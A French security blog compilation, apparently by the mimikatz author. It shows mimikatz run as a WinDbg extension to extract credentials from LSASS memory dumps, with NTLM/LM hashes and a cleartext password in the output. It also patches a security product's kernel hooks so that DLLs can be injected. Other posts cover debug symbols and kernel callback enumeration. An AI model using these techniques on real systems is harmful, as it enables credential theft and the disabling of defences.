WinDbg et l’extension de mimikatz

windbg mimikatz
mimikatz prenait déjà en charge l’extraction de hash/mot de passe depuis :

  • l’accès direct au processus LSASS
  • l’exploitation de l’image mémoire (Minidump) de LSASS

…et cela suffit à la majorité des usages.

Nouvelles sources de données

Mais le contenu mémoire de LSASS est aussi « disponible » via d’autres sources

  • états mémoire de machines virtuelles (fichiers .vmem, …)
  • fichiers d’hibernation, de mise en veille prolongée (fichiers hiberfil.sys)
  • les crashdump noyau complets (fichiers .dmp)

En dehors de mimikatz ?

Ces sources de données ne peuvent êtres traitées directement dans mimikatz pour plusieurs raisons :

  • il est complexe (mais possible) de créer un traducteur d’adresse virtuelle en adresse physique pour tous les modes d’adressage (surtout avec les particularités Microsoft)
  • le gestionnaire mémoire de Windows ne peut garantir à un instant T que le contenu de certaines zones mémoire virtuelle est réellement en mémoire physique

Ces deux problématiques empêchaient, lors de certains essais, mimikatz de fonctionner par « pattern matching » sur un contenu de mémoire physique.

Ne voulant pas implémenter dans mimikatz une « table d’offsets » pour toutes les versions de fichiers (lsasrv, wdigest, kerberos, tspkg, livessp, msv1_0, …), ou télécharger à la volée les symboles de déboguage nécessaires, une solution plus élégante devait être imaginée…

Extensions WinDbg

Un outil est particulièrement adapté à la lecture de dump mémoire (au format « crashdump ») et à la manipulation de symboles, il s’agit de WinDbg (http://blog.gentilkiwi.com/programmes/windbg)

Les fichiers de mise en veille prolongée, ou d’états mémoire, peuvent être convertis au format « crashdump » par des outils tel que MoonSols Windows Memory Toolkit ou Volatility

Exemples de conversions avec MoonSols Windows Memory Toolkit

  • Etat mémoire VMware vers « crashdump » :
    bin2dmp 564d1ef7-40ef-bdd6-128c-df37cfdb74a4.vmem vmware.dmp
  • Fichier de mise en veille prolongée vers « crashdump » :
    hibr2dmp hiberfil.sys hiberfil.dmp

Utilisation de l’extension

La librairie mimilib.dll a été étendue afin de devenir une extension WinDbg, qu’il suffit de charger après ouverture du crashdump (1).
Il convient de se placer dans le contexte du processus LSASS (2) et (3) avant de lancer la commande !mimikatz (4).

  1. .load c:\security\mimikatz\win32\mimilib.dll
  2. !process 0 0 lsass.exe
  3. .process /r /p
  4. !mimikatz
16.0: kd> .load c:\security\mimikatz\win32\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 24 2013 21:22:38)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> !process 0 0 lsass.exe
PROCESS 86697030  SessionId: 0  Cid: 0240    Peb: 7ffdf000  ParentCid: 01cc
    DirBase: 7ed54080  ObjectTable: 992ad078  HandleCount: 501.
    Image: lsass.exe

16.0: kd> .process /r /p 86697030
Implicit process is now 86697030
Loading User Symbols
..........................................................
16.0: kd> !mimikatz

Authentication Id : 0 ; 239956 (00000000:0003a954)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
	msv : 
	 [00000003] Primary
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * LM       : d0e9aee149655a6075e4540af1f22d3b
	 * NTLM     : cc36cf7a8514893efccd332446158b1a
	tspkg : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	wdigest : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	kerberos : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	ssp : 

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Bonus

  • la commande !mimikatz peut directement être utilisée sur un minidump du processus LSASS
  • les dumps mémoires complets via livekd, dumpit, la mise en veille prolongée ou encore la capture du fichier mémoire de VMware contournent très bien les protections Windows du processus LSASS

Limitations

  • seules les images mémoire de NT6 sont prises en charge (je n’ai pas codé pour cibler NT5)
  • bien qu’il soit normalement possible d’utiliser les extensions WinDbg indépendamment de l’architecture ciblée :
    • les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie mimilib.dll x64
    • les images mémoire x86 doivent être déboguées sous WinDbg x86, avec la librairie mimilib.dll x86

Il est donc plus souple d’utiliser Windows 7 x64 avec les deux versions du débogueur (x86 & x64)

Symboles Microsoft

pour WinDBG, IDA, Process Explorer, …
Parce que WinDBG seul ne suffit pas, un petit HowTo rapide sur les symboles Microsoft

Les symboles de débogage Microsoft

Microsoft n’est pas avare d’informations, une grande partie des symboles de leurs binaires (exécutables, librairies, pilotes, …) est disponible publiquement !

Cela permet, entre autre, de connaître des noms de fonctions internes, de variables globales, structures, … tout ce que Microsoft accepte que nous connaissions.
Bien que ces informations soient épurées, il n’en reste pas moins quelques pépites.

void __stdcall TSRevealPassword(struct _UNICODE_STRING *)
void __stdcall KerbRevealPassword(struct _UNICODE_STRING *)

Il serait dommage de s’en priver.

Pour cela, les outils présentés dans ce post, utilisent a minima :

  • dbghelp.dll pour manipuler les symboles
  • symsrv.dll pour récupérer les symboles
  • une configuration indiquant le référentiel de symboles
    • au niveau global via _NT_SYMBOL_PATH

Les dernières versions de ces librairies sont installées par WinDBG.

Considérations sur la configuration proposée

  • L’utilisation courante des symboles occupe de l’espace disque
  • Si plusieurs postes doivent déboguer, il est préférable d’utiliser un référentiel intermédiaire afin de ne pas récupérer plusieurs fois les mêmes informations
  • Les utilisateurs doivent pouvoir écrire a minima dans le référentiel final, l’écriture dans l’intermédiaire permet de l’alimenter depuis les utilisations de chacun

Configuration

La configuration proposée est la suivante :

_NT_SYMBOL_PATH = srv*c:\symbols*http://msdl.microsoft.com/download/symbols

A chaque besoin d’un symbole, le référentiel c:\symbols est inspecté.

  • si le symbole y figure, celui-ci est utilisé
  • si le symbole n’y figure pas, le référentiel http://msdl.microsoft.com/download/symbols est utilisé
    Le symbole est ensuite copié dans le référentiel c:\symbols pour éviter de le re-télécharger

Il faut ajouter une nouvelle variable d’environnement système (ou utilisateur) :
sysvardbg

Si un référentiel intermédiaire doit être utilisé :

_NT_SYMBOL_PATH = srv*c:\symbols*\\litchinanas.nirvana.local\programmation\symbols*http://msdl.microsoft.com/download/symbols

Si les droits le permettent, http://msdl.microsoft.com/download/symbols alimente \\litchinanas.nirvana.local\programmation\symbols qui alimente c:\symbols

Les informations sur la définition de cette variable sont disponibles ici : http://msdn.microsoft.com/library/windows/hardware/ff537994.aspx

WinDBG – le prérequis

A l’heure actuelle, la dernière version x86 est disponible ici : http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-9200-16384
Une fois installées, les librairies essentielles au fonctionnement des symboles se trouveront dans : C:\Program Files\Windows Kits\8.0\Debuggers\x86 (ou équivalent sous x64).

Utilisation SANS les symboles

mov     dword ptr [notepad+0xc1e4 (001ec1e4)],offset notepad+0x739b (001e739b)
call    dword ptr [notepad+0x1354 (001e1354)]
push    eax
call    notepad+0x77f3 (001e77f3)

Utilisation AVEC les symboles

mov     dword ptr [notepad!OFN+0x44 (001ec1e4)],offset notepad!NpOpenDialogHookProc (001e739b)
call    dword ptr [notepad!_imp__GetOpenFileNameW (001e1354)]
push    eax
call    notepad!_LegacyFileDialogToHR (001e77f3)

N’est-ce pas plus compréhensible ?

Process Explorer & Process Monitor

Certains affichages de Process Explorer et Process Monitor peuvent eux aussi facilement bénéficier de l’aide de symboles.

Via Options / Configure Symbols... :
pesmb
(l’option ‘Symbols Path’ est inutile quand la variable d’environnement _NT_SYMBOL_PATH est renseignée)

Sinon en console :

reg add "HKCU\Software\Sysinternals\Process Explorer" /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Explorer" /v SymbolPath  /t REG_SZ /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v SymbolPath  /t REG_SZ /f

Utilisation SANS les symboles

penosym

Utilisation AVEC les symboles

pesym
pcstack

IDA

Dans certains cas, IDA n’arrive pas à se débrouiller avec ses propres librairies. Quelques manipulations peuvent largement l’aider…

  1. Supprimer du répertoire d’IDA :
    • dbghelp.dll
    • symsrv.dll
    • symsrv.yes (si présent)
  2. Recopier les fichiers suivants depuis le répertoire de WinDBG (C:\Program Files\Windows Kits\8.0\Debuggers\x86) vers celui d’IDA :
    • symsrv.dll
    • symsrv.yes
  3. Via le fichier de configuration d’IDA (cfg\ida.cfg), modifier la propriété DBGTOOLS (elle est sans doute à dé-commenter, sinon la créer) :
    DBGTOOLS = "C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\";
    pratique pour piloter, par la même occasion, WinDBG depuis IDA
  4. Forcer l’utilisation des symboles si IDA a été configuré pour ne plus le demander :
    reg add "HKCU\Software\Hex-Rays\IDA\Hidden Messages" /v "IDA Pro has determined that the input file was linked with debug information  Do you want to look fo" /t REG_DWORD /d 1 /f

Utilisation SANS les symboles

idanodbg

Utilisation AVEC les symboles

idadbg

La calculatrice de Windows

cette alliée sous-estimée…

Que ce soit celle de NT 5 ou NT 6, la calculatrice de Windows a été faite par des programmeurs… pour des programmeurs !

Manipulation bit-à-bit, modulo, opérations hexa… une bonne partie de nos opérations récurrentes est présente :)

calc_nt6

Pour être encore plus efficace, un petit mémo des raccourcis clavier pour notre mode :

Touche Fonction Touche Fonction Touche Fonction
F5 Hex & And Alt+3 Programmeur
F6 Dec | Or F9 +/-
F7 Oct ^ Xor Ctrl+M MS
F8 Bin ~ Not Ctrl+R MR
F12 Qword % Mod Ctrl+L MC
F2 Dword K RoR Ctrl+P M+
F3 Mot J RoL Ctrl+Q M-
F4 Octet < Lsh    
    > Rsh    

A mémoriser !

360 Safe et hook noyau

Un billet rapide sur une protection m’ayant surpris : 360 Safe de nos amis chinois… (http://www.360.cn/)

Ce sacripant, même « désactivé » empêche certains accès à LSASS, et sans doute d’autres comportements déviants (en tout cas en x86).
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition KiFastCallEntry, et s’assure du maintien de ces derniers :

kd> u nt!KiFastCallEntry+0xe1
nt!KiFastCallEntry+0xe1:
8283f241 8b1487          mov     edx,dword ptr [edi+eax*4]
8283f244 e98f7adc02      jmp     85606cd8 ; trampoline vers les fonctions "HIPS", remplaçant le code original
[…]
kd> u 85606cd8 l1
85606cd8 e92bd5f4fd      jmp     Hookport+0xb208 (83554208) ; second trampoline vers les fonctions "HIPS" de 360
kd> u Hookport+0xc401 ; portions du pilote réécrivant le trampoline
Hookport+0xc401:
83555401 ffa1886a5583    jmp     dword ptr Hookport+0xda88 (83556a88)[ecx]
83555407 c600e9          mov     byte ptr [eax],0E9h  ; instruction ‘jmp’
8355540a a1886a5583      mov     eax,dword ptr [Hookport+0xda88 (83556a88)]
8355540f 8b0d786a5583    mov     ecx,dword ptr [Hookport+0xda78 (83556a78)]
83555415 894801          mov     dword ptr [eax+1],ecx ; pointeur vers le premier trampoline

Ce correcteur n’est lui même pas très protégé :

kd> f 83555407 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> f 83555415 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline

A nous l’injection de DLL, ou autres joyeusetés !

Finalement le plus compliqué est d’installer le produit, en Mandarin…

WinDBG : notifications Kernel

** BROUILLON **

Les hooks SSDT en mode noyau n’ont plus le vent en poupe, merci PatchGard :)
Nos éditeurs antivirus et HIPS n’ont plus vraiment le choix (du moins en x64), ils doivent passer par les notifications kernel offertes par Microsoft.
(en revanche rien n’empêche d’implémenter en sus des hooks userland)

Processus

La mise en place de ces notifications se fait via les méthodes suivantes :

  • PsSetCreateProcessNotifyRoutine
  • PsSetCreateProcessNotifyRoutineEx
    • Cette routine, seulement disponible en NT6, est plus souple et offre un contrôle avant lancement du processus :

      For a new process, the CreateProcessNotifyEx routine is called after the initial thread is created, but before the thread begins running. The driver can cause the process-creation operation to fail by changing the CreateInfo->CreationStatus member to an NTSTATUS error code.

Le détachement de la routine de notification se fait par la même méthode que l’attachement : PsSetCreateProcessNotifyRoutine[ex], l’on spécifie seulement Remove = TRUE pour le deuxième argument.

Limitation étrange

  • NT5 : au maximum 8 callbacks, sous peine de se voir retourner STATUS_PROCEDURE_NOT_FOUND ; 0xC000007A
    PAGE:00597BFE                 cmp     ebx, 8
    PAGE:00597C01                 jb      short loc_597BCF
    PAGE:00597C03                 mov     eax, 0C000007Ah
  • NT6 : au maximum 64 callbacks, sous peine de se voir retourner STATUS_PROCEDURE_NOT_FOUND ; 0xC000007A
    Cette augmentation est la bienvenue puisque Windows lui même en utilise 6 par défaut, 7 avec MSE…

Retrouvons nos routines dans notre débogueur préféré

Légende :

  • PspCreateProcessNotifyRoutineCount ; nombre de callbacks créés par PsSetCreateProcessNotifyRoutine
  • PspCreateProcessNotifyRoutineExCount ; nombre de callbacks créés par PsSetCreateProcessNotifyRoutineEx
  • PspCreateProcessNotifyRoutine ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits
lkd> dd nt!PspCreateProcessNotifyRoutineCount l1
fffff800`01678184  00000005
lkd> dd nt!PspCreateProcessNotifyRoutineExCount l1
fffff800`01678180  00000001
lkd> dp nt!PspCreateProcessNotifyRoutine l6
fffff800`01677f80  fffff8a0`00004c0f fffff8a0`0024c15f
fffff800`01677f90  fffff8a0`0015cbef fffff8a0`000797ff
fffff800`01677fa0  fffff8a0`00381c4f fffff8a0`06e0e3df

Regardons de plus près ces callbacks (sortie épurée pour faciliter la compréhension) :

lkd> ln poi(@@(0xfffff8a000004c0f & ~7))
    nt!ViCreateProcessCallback = <no type information>
lkd> ln poi(@@(0xfffff8a00024c15f & ~7))
    ksecdd!KsecCreateProcessNotifyRoutine = <no type information>
lkd> ln poi(@@(0xfffff8a00015cbef & ~7))
    cng!CngCreateProcessNotifyRoutine = <no type information>
lkd> ln poi(@@(0xfffff8a0000797ff & ~7))
    tcpip!CreateProcessNotifyRoutineEx = <no type information>
lkd> ln poi(@@(0xfffff8a000381c4f & ~7))
    CI!I_PEProcessNotify = <no type information>
lkd> ln poi(@@(0xfffff8a006e0e3df & ~7))
lkd> lm f a (poi(@@(0xfffff8a006e0e3df & ~7)))
start             end                 module name
fffff880`034f8000 fffff880`0359e000   peauth   \SystemRoot\system32\drivers\peauth.sys

Un petit exemple en 32 bits pour faire apparaitre le décalage de 4 octets du pointeur, et le pilote de MSE / FEP :

lkd> dp nt!PspCreateProcessNotifyRoutine l9
829799a0  87c08ec7 87c5ee5f 87c4db57 88c897c7
829799b0  87db97ef 88c69117 87d13e27 93f4e867
829799c0  97497857
lkd> ln poi(@@(0x87c08ec7 & ~7) + 4)
    nt!ViCreateProcessCallback = <no type information>
lkd> ln poi(@@(0x97497857 & ~7) + 4)
lkd> lm f a (poi(@@(0x97497857 & ~7) + 4))
start    end        module name
947b1000 947d7800   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys

Threads

Limitation étrange

Encore une fois…

  • NT5 : au maximum 8 callbacks, sous peine de se voir retourner STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A
  • NT6 : au maximum 64 callbacks, sous peine de se voir retourner STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A

Retrouvons nos routines dans notre débogueur préféré

Légende :

  • PspCreateThreadNotifyRoutineCount ; nombre de callbacks créés par PsSetCreateThreadNotifyRoutine
  • PspCreateThreadNotifyRoutine ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits
lkd> dd nt!PspCreateThreadNotifyRoutineCount l1
82979980  00000002
lkd> dp nt!PspCreateThreadNotifyRoutine l2
82979880  87ce05ef 98861407
lkd> ln poi(@@(0x98861407 & ~7) + 4)
lkd> lm f a (poi(@@(0x98861407 & ~7) + 4))
start    end        module name
947b1000 947d7800   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys

Images

Limitation étrange

Ils devaient manquer de mémoire chez Microsoft ;)

  • NT5 : au maximum 8 callbacks, sous peine de se voir retourner STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A
  • NT6 : au maximum 8 (?) callbacks, sous peine de se voir retourner STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A

Retrouvons nos routines dans notre débogueur préféré

Légende :

  • PspLoadImageNotifyRoutineCount ; nombre de callbacks créés par PsSetLoadImageNotifyRoutine
  • PspLoadImageNotifyRoutine ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits
lkd> dd nt!PspLoadImageNotifyRoutineCount l1
fffff800`01677d40  00000001
lkd> dp nt!PspLoadImageNotifyRoutine l1
fffff800`01677d00  fffff8a0`0006af0f
lkd> ln poi(@@(0xfffff8a00006af0f & ~7))
    nt!EtwpTraceLoadImage = <no type information>

Registre

Limitation étrange

Microsoft s’est montré un peu plus généreux cette fois ci…

  • NT5 : au maximum 100 callbacks, sous peine de se voir retourner STATUS_INSUFFICIENT_RESOURCES ; 0xC000009A
  • NT6 : a priori pas de limitations (?), les callbacks ne sont plus ici stockés dans un tableau statique, mais dans une liste liée dynamique

Retrouvons nos routines dans notre débogueur préféré

Légende :

  • CmpCallBackCount ; nombre de callbacks créés par CmRegisterCallback(Ex), inutile en NT6 ou la liste liée suffit à parcourir les callbacks
  • CmpCallBackVector ; NT5 ; tableau de pointeurs des callbacks (avec 3 bits de contrôle), décalé de 4 octets en 32 bits
  • CallbackListHead ; NT6 ; liste liée de structure des callbacks

Les callbacks créés sont identifiés par un cookie, et pour NT6 disposent d’une altitude.

NT5

lkd> dd nt!CmpCallBackCount l1
809d8000  00000001
lkd> dp nt!CmpCallBackVector l1
809d8008  e2317b9f
lkd> lm f a (poi(@@(0xe2317b9f& ~7) + 4))
start    end        module name
f5b04000 f5b0fc00   PROCMON20 \??\C:\WINDOWS\system32\Drivers\PROCMON20.SYS
lkd> dq (poi(@@(0xe2317b9f& ~7) + 8)) l1
e2dc0930  01ccc33c`b6b63089

NT6

lkd> dd nt!CmpCallBackCount l1
fffff800`02e57ae4  00000002
lkd> x nt!CallbackListHead
fffff800`02ecc910 nt!CallbackListHead = <no type information>
lkd> dt nt!_LIST_ENTRY 0xfffff800`02ecc910
 [ 0xfffff8a0`02808080 - 0xfffff8a0`05d750d0 ]
   +0x000 Flink            : 0xfffff8a0`02808080 _LIST_ENTRY [ 0xfffff8a0`05d750d0 - 0xfffff800`02ecc910 ]
   +0x008 Blink            : 0xfffff8a0`05d750d0 _LIST_ENTRY [ 0xfffff800`02ecc910 - 0xfffff8a0`02808080 ]
lkd> dq 0xfffff8a0`02808080 l8
fffff8a0`02808080  fffff8a0`05d750d0 fffff800`02ecc910
fffff8a0`02808090  10000000`00000000 01ccc334`922c6342
fffff8a0`028080a0  00000000`00000000 fffff880`0450e9b8
fffff8a0`028080b0  fffff8a0`000c000c fffff8a0`01a3d220
lkd> lm f a (poi(0xfffff8a0`02808080+0x28))
start             end                 module name
fffff880`044f3000 fffff880`04524000   MpFilter \SystemRoot\system32\DRIVERS\MpFilter.sys
lkd> !ustr 0xfffff8a0`02808080+0x30
String(12,12) at fffff8a0028080b0: 425000
lkd> dq 0xfffff8a0`02808080+0x18 l1
fffff8a0`02808098  01ccc334`922c6342
lkd> dq 0xfffff8a0`05d750d0 l8
fffff8a0`05d750d0  fffff800`02ecc910 fffff8a0`02808080
fffff8a0`05d750e0  42424242`00000000 01ccc334`922c6343
fffff8a0`05d750f0  00000000`00000000 fffff880`071d69d0
fffff8a0`05d75100  42424242`000c000c fffff8a0`056a5cf0
lkd> lm f a (poi(0xfffff8a0`05d750d0+0x28))
start             end                 module name
fffff880`071d0000 fffff880`071e4000   PROCMON20 \??\C:\Windows\system32\Drivers\PROCMON20.SYS
lkd> !ustr 0xfffff8a0`05d750d0+0x30
String(12,12) at fffff8a005d75100: 425000
lkd> dq 0xfffff8a0`05d750d0+0x18 l1
fffff8a0`05d750e8  01ccc334`922c6343

** BROUILLON **

Fichier

(vous pourrez par ailleurs trouver sur le site WHDC de Microsoft les altitudes alloués par Microsoft à différents produits…)

** BROUILLON **